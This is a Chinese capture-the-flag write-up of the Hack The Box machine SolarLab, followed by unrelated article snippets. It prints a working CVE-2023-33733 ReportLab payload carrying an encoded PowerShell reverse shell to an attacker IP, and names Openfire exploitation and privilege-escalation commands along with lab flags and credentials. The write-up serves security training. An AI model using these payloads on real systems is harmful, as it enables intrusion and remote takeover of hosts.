SolarLab - hackthebox

news2024/11/25 23:51:21

简介

靶机名称:SolarLab

难度:中等

靶场地址:https://app.hackthebox.com/machines/SolarLab

本地环境

靶机IP :10.10.11.16

ubuntu渗透机IP(ubuntu 22.04):10.10.16.17

windows渗透机IP(windows11):10.10.14.20

扫描

nmap起手

nmap -sT -p0- 10.10.11.16 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
nmap -sT -sV -sC -O -p$ports 10.10.11.16 -oA nmapscan/detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-10 22:30 CST
Nmap scan report for solarlab.htb (10.10.11.16)
Host is up (0.091s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: SolarLab Instant Messenger
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: -6m20s
| smb2-time:
|   date: 2024-06-10T14:24:35
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.99 seconds

80和6791端口。值得一提的是nmap不要扫太快,加–min-rate或者-T什么的参数,不然6791会漏掉。

HTTP

访问靶机ip时会被重定向到solarlab.htb和report子域名加上。在hosts里加上即可继续访问。

80端口

一个倒计时页面。信息收集一波,没有明显的利用点。

image-20240610165158164

路径扫描

 gobuster dir -u  http://solarlab.htb -w $HVV_PATH/8_dict/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt -b 400-404 -t 10 -x php,zip,bak,jpg,png,mp4,mkv,txt,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://solarlab.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /root/Tool/HVV//8_dict/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   400,401,402,403,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              bak,png,mp4,txt,html,php,zip,jpg,mkv
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 169] [--> http://solarlab.htb/images/]
/index.html           (Status: 200) [Size: 16210]
/Images               (Status: 301) [Size: 169] [--> http://solarlab.htb/Images/]
/assets               (Status: 301) [Size: 169] [--> http://solarlab.htb/assets/]
/Index.html           (Status: 200) [Size: 16210]
/IMAGES               (Status: 301) [Size: 169] [--> http://solarlab.htb/IMAGES/]
/%20                  (Status: 200) [Size: 16210]
/Assets               (Status: 301) [Size: 169] [--> http://solarlab.htb/Assets/]
/INDEX.html           (Status: 200) [Size: 16210]

子域名收集

 ffuf  -u http://solarlab.htb  -w  $HVV_PATH/8_dict/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt  -c -H "Host:FUZZ.solarlab.htb"  -t 5  -fw 5

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://solarlab.htb
 :: Wordlist         : FUZZ: /root/Tool/HVV/8_dict/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.solarlab.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 5
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 5
________________________________________________

:: Progress: [114441/114441] :: Job [1/1] :: 46 req/sec :: Duration: [0:39:24] :: Errors: 0 ::

暂弃80

6791端口

直接访问会重定向到域名report.solarlab.htb。加入hosts后再去访问。

image-20240610223900331

未知框架。用户名也爆不出来。sql注入打不进去。

再换个方向。

SMB

随手使用enum4linux-ng收集一波smb服务的信息,结果发现可以匿名登录。

./enum4linux-ng -A 10.10.11.16

ENUM4LINUX - next generation (v1.3.2)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.16
[*] Username ......... ''
[*] Random Username .. 'raikndeq'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ====================================
|    Listener Scan on 10.10.11.16    |
 ====================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: timed out
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: timed out
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ==========================================================
|    NetBIOS Names and Workgroup/Domain for 10.10.11.16    |
 ==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out

 ========================================
|    SMB Dialect Check on 10.10.11.16    |
 ========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: false

 ==========================================================
|    Domain Information via SMB session for 10.10.11.16    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: SOLARLAB
NetBIOS domain name: ''
DNS domain: solarlab
FQDN: solarlab
Derived membership: workgroup member
Derived domain: unknown

 ========================================
|    RPC Session Check on 10.10.11.16    |
 ========================================
[*] Check for null session
[-] Could not establish null session: STATUS_ACCESS_DENIED
[*] Check for random user
[+] Server allows session using username 'raikndeq', password ''
[H] Rerunning enumeration with user 'raikndeq' might give more results

 ==============================================
|    OS Information via RPC for 10.10.11.16    |
 ==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, not possible with provided credentials
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '2004'
OS build: '19041'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null

[!] Aborting remainder of tests, sessions are possible, but not with the provided credentials (see session check results)

然后使用smbmap去穷举所有共享的文件夹,可以看见Document是允许我们访问的。

smbmap -H 10.10.11.16 -u guest -R

 smbmap -H 10.10.11.16 -u guest -R
[+] IP: 10.10.11.16:445 Name: solarlab.htb
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Documents                                               READ ONLY
        .\Documents\*
        dw--w--w--                0 Fri Apr 26 22:47:14 2024    .
        dw--w--w--                0 Fri Apr 26 22:47:14 2024    ..
        dr--r--r--                0 Fri Apr 26 22:41:57 2024    concepts
        fr--r--r--              278 Fri Nov 17 20:34:54 2023    desktop.ini
        fr--r--r--            12793 Fri Nov 17 20:34:54 2023    details-file.xlsx
        dr--r--r--                0 Fri Nov 17 03:36:51 2023    My Music
        dr--r--r--                0 Fri Nov 17 03:36:51 2023    My Pictures
        dr--r--r--                0 Fri Nov 17 03:36:51 2023    My Videos
        fr--r--r--            37194 Fri Apr 26 22:44:18 2024    old_leave_request_form.docx
        .\Documents\concepts\*
        dr--r--r--                0 Fri Apr 26 22:41:57 2024    .
        dr--r--r--                0 Fri Apr 26 22:41:57 2024    ..
        fr--r--r--           161337 Fri Apr 26 22:41:33 2024    Training-Request-Form.docx
        fr--r--r--            30953 Fri Apr 26 22:41:58 2024    Travel-Request-Sample.docx
        IPC$                                                    READ ONLY       Remote IPC
        .\IPC$\*
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    InitShutdown
        fr--r--r--                4 Mon Jan  1 08:05:43 1601    lsass
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    ntsvcs
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    scerpc
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-298-0
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-388-0
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    epmapper
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-218-0
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    LSM_API_service
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-3b8-0
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    eventlog
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-200-0
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    atsvc
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-574-0
        fr--r--r--                4 Mon Jan  1 08:05:43 1601    wkssvc
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    trkwks
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    tapsrv
        fr--r--r--                4 Mon Jan  1 08:05:43 1601    srvsvc
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    Winsock2\CatalogChangeListener-290-0
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    vgauth-service
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    ROUTER
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    MsFteWds
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    SearchTextHarvester
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    PSHost.133624673675211861.2820.DefaultAppDomain.powershell
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
        fr--r--r--                3 Mon Jan  1 08:05:43 1601    W32TIME_ALT
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    PSHost.133624698119309980.5404.DefaultAppDomain.powershell
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    PSHost.133624717385115612.316.DefaultAppDomain.powershell
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    PSHost.133624915711823366.4984.DefaultAppDomain.powershell
        fr--r--r--                1 Mon Jan  1 08:05:43 1601    PSHost.133624936375064140.1068.DefaultAppDomain.powershell

用smbclient递归下载文件即可

smbclient  //10.10.11.16/Documents -U guest%
recurse	ON			#开启递归,开启后会以目录递归方式运行mget和mput命令
prompt OFF			#关闭交互,开启后,下载文件时不再要求输入y/n确认
mget *				#批量获取文件,*是一个调配符,递归遍历时,任何文件名符合通配符的文件都会下载下来,*可以匹配所有

image-20240610230944366

密码喷洒

detail-file.xlsx里面是账号信息表

image-20240610231336071

写了字典去喷洒,结果怎样变换都爆不出。后来打算从命名规则入手,发现如下规律:

邮箱是Alexander.knight@gmail.com,因为.之后1位是字母K,所以用户名为AlexanderK或者KAlexander

邮箱是Claudia.springer@gmail.com,因为.之后1位是S,所以用户名为ClaudiaS

那么blake@purdue.edu呢?因为之前有个blake.byte,所以可以猜测用户名是BlakeB

这下终于爆出来了,账密是BlakeB/ThisCanB3typedeasily1@

image-20240611222249502

漏洞利用

该网页的功能是将用户输入的内容根据固定的模板输出为PDF文件。

image-20240611222433111

网上去搜了一下,发现是有POC的。

https://github.com/buiduchoang24/CVE-2023-33733

image-20240611223829826因为这个CVE其实就是通过HTML标签来执行python命令,所以我们要找到一个HTML的输入位置——正好就在Home Office Request页中的address栏。

同时因为目标主机系统是windows,所以上传html之前记得把[os].system()中的内容换成powershell的

<para>
    <font color="[ [ getattr(pow,Attacker('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA3ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Attacker in [orgTypeFun('Attacker', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">
    exploit
    </font>
</para>

注意输入有100字符的限制。我们可以去开发者工具里面把限制修改掉

image-20240615142321391

然后就能弹到shell了

image-20240615142413245

在blake用户的桌面上找到user.txt

image-20240615142624355

018a308fbaab8b9ddebb549ca3cd359c

提权

首先传个马维权。发现powershell执行权限很低,所以用curl来代替

image-20240615161412883

收集信息,发现有openfire服务

PS C:\Users\blake\Documents\app> net user

User accounts for \\SOLARLAB

-------------------------------------------------------------------------------
Administrator            blake                    DefaultAccount
Guest                    openfire                 WDAGUtilityAccount
The command completed successfully.
PS C:\Users\blake\Documents\app> ps -ano
PS C:\Users\blake\Documents\app> ps | findstr openfire
    102       7     1260          0              3184   0 openfire-service                 
    932      87   355484      50476              3216   0 openfire-service

探测一波端口,这么多3216,哪个才是真的openfire网页?查了一下发现默认是9090和9091

image-20240615190336577

因为服务设置在内网,所以要端口转发。这里我本来用NATbypass,结果不知道为什么会无效,于是转为使用frp——谁知道还有什么麻烦在等着。

攻击机frps.ini内容

[common]
bind_port = 7000

frpc.ini

[common]
server_addr = 10.10.14.20
server_port = 7000

[tcp]
type = tcp
local_ip = 127.0.0.1
local_port = 9090
remote_port = 50001

[tcp2]
type = tcp
local_ip = 127.0.0.1
local_port = 9091
remote_port = 50002

image-20240615191040857

可以看到版本是4.7.4,这个版本的openfire有一个经典的漏洞rce_cve_2023_32315,正好msfconsole上面有,直接梭了

image-20240615191912325

至此拿到openfire的shell

OpenFire_Decrypt

shell里找了一圈没什么东西,突然想到admin账号的密码还没试过。在网上找到了解密工具

https://github.com/jas502n/OpenFire_Decrypt

解密需要两样东西——encryptedPassword passwordKey。它们在创建账号的时候会在数据库中插入,所以查看日志文件即可。这里的log文件经常改动,需要去.script文件里面找。

image-20240615204801567

image-20240615205334525

image-20240615205411939

得到admin密码为ThisPasswordShouldDo!@

RunasCs

因为拿到的shell不完整,而且powershell执行权限受到限制,所以这里用RunasCs来跑木马

shell RunasCs.exe Administrator ThisPasswordShouldDo!@ "./1.exe"

image-20240615210546138

成功提权

image-20240615210712736

200357b8f86e142bf793d55971139a42

后言

水平还是差,中级靶场打了整整半天……不过靶场本身质量真的高,一路下来学到不少东西,感谢感谢。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1826298.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OS复习笔记ch9-1

单处理器调度 调度类型 主要类型 长程调度&#xff1a;决定将哪个进程放入进程池中 中程调度&#xff1a;决定将哪些进程部分或者全部放入内存中 短程调度&#xff1a;决定哪个空闲进程上处理机 I/O调度&#xff1a;决定哪个进程的I/O请求被可用的I/O设备处理 处理器调度和进…

如何通过数据库与AI实现以图搜图?OceanBase向量功能详解

OceanBase支持向量数据库的基础能力 当前&#xff0c;数据库存储系统与人工智能技术的结合&#xff0c;可以体现在两个主要的应用方向上。 一、近似搜索。它利用大语言模型&#xff08;LLM&#xff0c;简称大模型&#xff09;的嵌入&#xff08;embedding&#xff09;技术&am…

【Android面试八股文】请描述new一个对象的流程

文章目录 请描述new一个对象的流程JVM创建对象的过程检查加载分配内存内存空间初始化设置对象初始化请描述new一个对象的流程 JVM创建对象的过程 当JVM遇到一条new指令时,它需要完成以下几个步骤: 类加载与检查内存分配 并发安全性内存空间初始化设置对象信息对象初始化下图…

永磁同步直线电机(PMLSM)控制与仿真3-永磁同步直线电机数学三环控制整定

文章目录 1、电流环参数整定2、速度环参数整定3、位置环参数整定 写在前面&#xff1a;原本为一篇文章写完了永磁同步直线电机数学模型介绍&#xff0c;永磁同步直线电机数学模型搭建&#xff0c;以及永磁同步直线电机三环参数整定及三环仿真模型搭建&#xff0c;但因为篇幅较长…

贪心+dp,CF 1282B2 - K for the Price of One (Hard Version)

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 1282B2 - K for the Price of One (Hard Version)https://codeforces.com/problemset/problem/1282/B2 二、解题报告 1、思路分析 考虑优先买价格低的&#xff0c;所以先升序排序 定义状态f[i]为购买前i个…

axios打通fastapi和vue,实现前后端分类项目开发

axios axios是一个前后端交互的工具&#xff0c;负责在前端代码&#xff0c;调用后端接口&#xff0c;将后端的数据请求到本地以后进行解析&#xff0c;然后传递给前端进行处理。 比如&#xff0c;我们用fastapi写了一个接口&#xff0c;这个接口返回了一条信息&#xff1a; …

LeetCode | 709.转换成小写字母

这道题可以用api也可以自己实现&#xff0c;都不难&#xff0c;大小字母之前相差了32&#xff0c;检查到大写字母时加上32即可 class Solution(object):def toLowerCase(self, s):""":type s: str:rtype: str"""return s.lower()class Solution…

韩顺平0基础学java——第22

p460-483 常用类 包装类Wrapper 针对8种几种数据类型相应的引用类型——包装类 包装类和基本数据类型的转换 jdk5之前的手动装箱和拆箱&#xff1a; jdk5之后的自动装箱和拆箱&#xff1a; 三元运算符是一个整体&#xff1a; 这个三元运算符里&#xff0c;精度最高的是doubl…

机器学习周记(第四十三周:MCformer)2024.6.10~2024.6.16

目录 摘要ABSTRACT1 论文信息1.1 论文标题1.2 论文摘要1.3 论文引言1.4 论文贡献 2 论文模型2.1 问题定义2.2 可逆实例归一化&#xff08;Reversible Instance Normalization&#xff09;2.3 混合通道块 &#xff08;Mixed-Channels Block&#xff09;2.4 编码器&#xff08;De…

MPLS VPN一

R1为客户&#xff0c;现在进行一些基本配置&#xff0c;来确保可以通路由 先启动OSPF跑通 在R3上 等一会 现在启动MPLS 对R3 对R4 然后在R2上 再把接口划到空间里面 原来的IP在公网里面&#xff0c;被清除了 然后再配置接口 查看 对R1&#xff08;相当于客户&#xff09; …

CrossOver和PD虚拟机谁更强大?CrossOver和PD虚拟机应该怎么选择

在当前的虚拟化技术和应用程序兼容性解决方案中&#xff0c;CrossOver和PD虚拟机&#xff08;Parallels Desktop&#xff09;都是备受用户喜爱的选择。对于需要在非原生系统上运行应用程序的用户而言&#xff0c;选择合适的工具尤为重要。那么&#xff0c;CrossOver和PD虚拟机谁…

虚表-在成员函数前面加上virtual后发生了什么事情???

从上图得出&#xff1a; 子类继承的父类的虚表指针吗&#xff1f; 答&#xff1a;是的。 子类和父类是同一个虚表还是不同的虚表&#xff1f; 答&#xff1a;不同的虚表&#xff0c;倘若是同一个当子类进行覆盖的时候&#xff0c;父类的虚表会丢失。 下面有一些方法来观察类…

【linux】认识“文件”的本质,理解“文件系统”的设计逻辑,体会linux优雅的设计理念

⭐⭐⭐个人主页⭐⭐⭐ ~~~~~~~~~~~~~~~~~~ C站最❤❤❤萌❤❤❤博主 ~~~~~~~~~~~~~~~~~~~ ​♥东洛的克莱斯韦克-CSDN博客♥ ~~~~~~~~~~~~~~~~~~~~ 嗷呜~ ✌✌✌✌ 萌妹统治世界~ &#x1f389;&#x1f389;&#x1f389;&#x1f389; ✈✈✈✈相关文章✈✈✈✈ &#x1f4a…

虚函数表共享和生成

每个类有不同的虚表&#xff0c;相同的类使用相同的虚表 模拟动态绑定的一个过程

【Apache Doris】周FAQ集锦:第 6 期

【Apache Doris】周FAQ集锦&#xff1a;第 6 期 SQL问题数据操作问题运维常见问题其它问题关于社区 欢迎查阅本周的 Apache Doris 社区 FAQ 栏目&#xff01; 在这个栏目中&#xff0c;每周将筛选社区反馈的热门问题和话题&#xff0c;重点回答并进行深入探讨。旨在为广大用户和…

C++11左值、右值

知识回顾&#xff0c;详解引用 简单概括&#xff0c;引用就是给已存在对象取别名&#xff0c;引用变量与其引用实体共用同一块内存空间 左右值区分 注意&#xff1a;不一定左边的都是左值&#xff0c;右边的都是右值 左边的也可能是右值&#xff0c;等号右边的也可能是左值 …

大数据工程师如何做到数据可视化?

好的数据可视化作品都是通过不断的数据对比分析实战出来的。 今天给大家带来一篇大数据工程师干货&#xff0c;从多角度解析做数据可视化的重要性&#xff0c;并解读一些适用的应用场景。大数据工程师们刷到这篇文章时一定要进来看看&#xff0c;满满的干货。 目录 1. 什么是数…

中望CAD 2025 (ZW3D2025) 简体中文修改版

名称&#xff1a;中望CAD 2025 (ZW3D2025) 简体中文修改版 描述&#xff1a;一款三维CAD设计工具&#xff0c;运行破解补丁ZW3D2025-2024-Patch执行修补。 链接&#xff1a;夸克网盘分享 &#x1f4c1; 大小&#xff1a;3.2GB &#x1f3f7; 标签&#xff1a;#PC软件 #CAD #设…

为什么笔记本电脑触控板不工作?这里有你想要的答案和解决办法

序言 你的笔记本电脑触控板停止工作了吗?值得庆幸的是,这个令人沮丧的问题通常很容易解决。以下是笔记本电脑触控板问题的最常见原因和修复方法。 触控板被功能键禁用 大多数(如果不是全部的话)Windows笔记本电脑都将其中一个功能键用于禁用和启用笔记本电脑触控板。按键…

【Arthas案例】某应用依赖两个GAV不同但包含两个相同全限定类名StaticLoggerBinder,引起log4j.Level类找不到异常

3分钟内解决问题 两个不同的GAV依赖冲突&#xff0c;包含相同全限定类名&#xff0c;引起ClassNotFoundException Maven依赖的三坐标体系GAV(G-groupId&#xff0c;A-artifactId&#xff0c;V-version) 【案例1】某应用依赖两个GAV不同的jar&#xff0c;但包含两个相同全限定类…